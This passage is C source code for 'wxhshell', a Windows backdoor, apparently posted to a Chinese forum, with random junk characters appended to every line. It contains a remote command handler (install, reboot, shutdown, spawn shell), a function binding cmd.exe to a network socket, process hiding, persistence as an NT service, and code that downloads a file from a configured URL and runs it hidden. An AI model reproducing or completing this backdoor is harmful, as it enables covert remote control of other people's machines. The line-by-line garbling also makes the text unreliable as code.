  } )!=fy']  
  else { s:ojlmPb  
YM#J_sy@J.  
    switch(cmd[0]) { ]l^" A~va  
  zqxN/H]z  
  // 帮助 ?MOjtAG0_~  
  case '?': { )i[K1$x2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dQ Lo,S8(  
    break; Kl]l[!c7$  
  } \qJ cs'D  
  // 安装 r=#v@]z B  
  case 'i': { `$ pJ2S  
    if(Install()) kW& zkE{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~!6 I.u  
    else FpZ5@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LBIEG_/m  
    break; \`W8#fob  
    } j43i:c;F  
  // 卸载 rh T!8dTk  
  case 'r': { h9QQ8}g  
    if(Uninstall()) #M<u^$Jz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2=$ F*B>9  
    else J9P\D!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U04)XfO;]  
    break; :3D[~-/S  
    } |#EI(W?`  
  // 显示 wxhshell 所在路径 Si68_]:^  
  case 'p': { Hk?E0.  
    char svExeFile[MAX_PATH]; {6iHUK   
    strcpy(svExeFile,"\n\r"); rd^j<  
      strcat(svExeFile,ExeFile); )2J#pz?.  
        send(wsh,svExeFile,strlen(svExeFile),0); 0oo_m6ie&  
    break; RQ,X0 pS  
    } k[\JT[Mp  
  // 重启 !X 0 (4^  
  case 'b': { ^+Njz{rpG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1~vv<`-  
    if(Boot(REBOOT)) ZVz*1]}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *}Rd%'  
    else { n"<'F4r  
    closesocket(wsh); Hnf?`j>  
    ExitThread(0); Z|j\_VKhl  
    } p7[&H/  
    break; a KIS%M#Y  
    } 4|NcWpaV7  
  // 关机 l#a*w  
  case 'd': { soqnr" 1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wD SSgk  
    if(Boot(SHUTDOWN)) i~tps  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]#dZLm_  
    else { q,]57s  
    closesocket(wsh); MT<3OKo?:  
    ExitThread(0); 0p=  
    } X:W}S/  
    break; \$ :)Ka  
    } U!T#'H5'-  
  // 获取shell F>at^6^  
  case 's': { RMa#z [{0  
    CmdShell(wsh); cd$,,  
    closesocket(wsh); g$mqAz<  
    ExitThread(0); Zk0?=f?j  
    break; Rr>""  
  } rm,h\  
  // 退出 ; .hTfxE0  
  case 'x': { r`C t/]c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b<KKF'  
    CloseIt(wsh); @fd{5 >\  
    break; Xa[lX8$zL  
    } ;+Mr|vweTC  
  // 离开 LdyE*u_  
  case 'q': { ,tuZ_"?M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +ID% (:  
    closesocket(wsh); m\ /V0V\  
    WSACleanup(); G_?qY#"(  
    exit(1); O9F#gO|!  
    break; b!g8NG  
        } !Ly1!;<  
  } \K(# r=  
  } dH0wVI<z  
RTTEAh:.  
  // 提示信息 DJHE6XJ   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &r V  
} H$]FUv8  
  } sB`zk[ R;  
fh e%5#3  
  return; 2graLJ?9Z  
} 9_pOV%Qs  
~ph>?xuw  
// shell模块句柄 |C;*GeyS;J  
int CmdShell(SOCKET sock) Q |^c5  
{ b=Y3O  
STARTUPINFO si; )nUTux0K\  
ZeroMemory(&si,sizeof(si)); U+g<lgH1J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P3V }cGZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }L|XZL_Jo#  
PROCESS_INFORMATION ProcessInfo; S|ADu]H(  
char cmdline[]="cmd"; D i #Em[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o<%s\n  
  return 0; sxQMfbN  
} S31+ j:"  
G-sA)WOF  
// 自身启动模式 y&+Sp/6BYA  
int StartFromService(void) 44cy_  
{ TzK[:o  
typedef struct h`/1JjP  
{ Toc="F`SW  
  DWORD ExitStatus; u\|Ys  
  DWORD PebBaseAddress; xGymQ|y84  
  DWORD AffinityMask; KR/SMwy  
  DWORD BasePriority; ,Mw;kevw  
  ULONG UniqueProcessId; 6B>H75S+H  
  ULONG InheritedFromUniqueProcessId; #me'1/z  
}   PROCESS_BASIC_INFORMATION; &(HIBF'O  
-pm^k-%v  
PROCNTQSIP NtQueryInformationProcess; k/V:QdD Sb  
NI?YUhg>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?BnjtefIe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _D?`'zN  
{H%1sI  
  HANDLE             hProcess; 8?&u5  
  PROCESS_BASIC_INFORMATION pbi; \d{S3\7  
QAh6!<.;@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;p'Ej'E  
  if(NULL == hInst ) return 0; iu 6NIy7D  
Acib<Mi2!-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4I^8f||b_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,,[pc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )$e_CJ}9e  
fbK`A?5K  
  if (!NtQueryInformationProcess) return 0; -Lbi eS%  
_lj&}>l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <rpXhcR  
  if(!hProcess) return 0; Gt;59}  
11 >K\"K}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t!,GI&  
u$?t |Ll  
  CloseHandle(hProcess); e[a?5,s2  
=Wj{J.7mf]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,HLgb}~  
if(hProcess==NULL) return 0;  9> k-";  
v}AVIdR  
HMODULE hMod; o|BEY3|  
char procName[255]; Gv3AJ'NL  
unsigned long cbNeeded; e2PM^1{_  
x:O;Z~ |.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Iq[Z5k(K  
=whYo?cE(  
  CloseHandle(hProcess); W;Ei>~E  
u \zP`Y  
if(strstr(procName,"services")) return 1; // 以服务启动 &_N$S2  
,[{)4J$MV  
  return 0; // 注册表启动 %!i|"FNc  
} 5#v|t\ {  
Tn7(A^h'  
// 主模块 7FiQTS B:  
int StartWxhshell(LPSTR lpCmdLine) Y([YDn  
{ 'sCj|=y2Qc  
  SOCKET wsl; <8Zm}-U  
BOOL val=TRUE; cKKl\g@}  
  int port=0; 5/),HGxi  
  struct sockaddr_in door; +$F_7Hx  
DVWqrK}q  
  if(wscfg.ws_autoins) Install(); g}B|ZRz+{  
?Gq|OT 8  
port=atoi(lpCmdLine); #&cNR_"w  
eaxp(VX?oy  
if(port<=0) port=wscfg.ws_port; 7:D@6<J?  
x(Us O}  
  WSADATA data; G-)Q*p{i|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {|kEGq~aE  
VHlN;6Qlff  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n^Uu6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7jZ=+2  
  door.sin_family = AF_INET; jd]YKaI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); azxGUS_i<  
  door.sin_port = htons(port); 8a^E{x@HT  
fgW>U*.ar  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /*+P}__k  
closesocket(wsl); \NEXtr`Th  
return 1; /@<&{_sybp  
} VR@V3 ~  
s5DEuu>g  
  if(listen(wsl,2) == INVALID_SOCKET) { avb'J^}f  
closesocket(wsl); [LQD]#  
return 1; /7nircXj@  
} (Mk9##R#  
  Wxhshell(wsl); .^fVm  
  WSACleanup(); 7ktSj}7W]  
^11y8[[  
return 0; 0.9%m7.m  
}W:Rg}v  
} [=})^t?8  
xIN&>D'|N  
// 以NT服务方式启动 zJH#J=O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y-Zw'  
{ [f^:V:) {  
DWORD   status = 0; dOm@cs  
  DWORD   specificError = 0xfffffff; )<?^~"h  
s+@+<QE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "G^Z>Z-`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z?Cl5o&l b  
  serviceStatus.dwWin32ExitCode     = 0; W:s>?(6?  
  serviceStatus.dwServiceSpecificExitCode = 0; }=dUASL  
  serviceStatus.dwCheckPoint       = 0; ^dR="N  
  serviceStatus.dwWaitHint       = 0; 4@iMGYR9!s  
r9nyEzk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); " vW4"R6  
  if (hServiceStatusHandle==0) return; LFzL{rny!U  
-W/Lg5eK  
status = GetLastError(); b9 F:X  
  if (status!=NO_ERROR) m a!rZ n  
{ 9h Jlc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hu ]l{TXi  
    serviceStatus.dwCheckPoint       = 0; FN$sST  
    serviceStatus.dwWaitHint       = 0; kM0TQX)$m  
    serviceStatus.dwWin32ExitCode     = status; +b =X~>vZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; eucacXiZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N(6Q`zs  
    return; >1}RiOd3  
  } 4"om;+\  
I%^Bl:M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K1th>!JW'  
  serviceStatus.dwCheckPoint       = 0; 6n|R<DO%\  
  serviceStatus.dwWaitHint       = 0; p;y\%i_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y#VtZTcT  
} eWN[EJI<  
GOKca%DT=  
// 处理NT服务事件,比如:启动、停止 >/r^l)`9_f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =t/ "&[r  
{ qG]G0|f  
switch(fdwControl) n(}W[bZ4  
{ 'ie+/O@G  
case SERVICE_CONTROL_STOP: \ah.@s  
  serviceStatus.dwWin32ExitCode = 0; 8h.Dc&V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '%W`:K'  
  serviceStatus.dwCheckPoint   = 0; K P1;u#v  
  serviceStatus.dwWaitHint     = 0; wWI1%#__|o  
  { lpy( un  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); > [%ITqA$  
  } T{USzMj  
  return; R_vF$X'Ow  
case SERVICE_CONTROL_PAUSE: \y7kb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;kX:k~,]}>  
  break; %Kk MWl&:  
case SERVICE_CONTROL_CONTINUE: LX!MDZz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "f Ni3 <x]  
  break; S [$Os7  
case SERVICE_CONTROL_INTERROGATE: 3pk=c-x  
  break; `W*b?e| H1  
}; N wISf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i$z).S?1  
} ^$D2fS  
Fk-}2_=v i  
// 标准应用程序主函数 'm4v)w<y#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [X\<C '<  
{ ~+~^c|  
)B!64'|M  
// 获取操作系统版本 F?!X<N{  
OsIsNt=GetOsVer(); 1.U9EuI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @ptE&m  
M[= #%U3*N  
  // 从命令行安装 !eC]=PoY  
  if(strpbrk(lpCmdLine,"iI")) Install(); +kj d;u#  
]\.3<^  
  // 下载执行文件 3G.-JLhs  
if(wscfg.ws_downexe) { s|O4 >LsG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ] 'B4O1  
  WinExec(wscfg.ws_filenam,SW_HIDE); PCcI(b>?l  
} `{B<|W$=  
x\R%hGt  
if(!OsIsNt) { VQV%1f  
// 如果时win9x,隐藏进程并且设置为注册表启动 8rNRQOXOa  
HideProc(); w vQ.9  
StartWxhshell(lpCmdLine); n a3st*3V_  
} B7u4e8(E*  
else S#|dmg;p  
  if(StartFromService()) )Bb:?!EuEH  
  // 以服务方式启动 /hC'-6:]^  
  StartServiceCtrlDispatcher(DispatchTable); RHIGNzSz  
else BMJsR0  
  // 普通方式启动 ~snYf7  
  StartWxhshell(lpCmdLine); ]iHSUP  
=9;2(<A  
return 0; Yo^9Y@WDW  
}
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只看该作者 1 发表于: 2006-10-10
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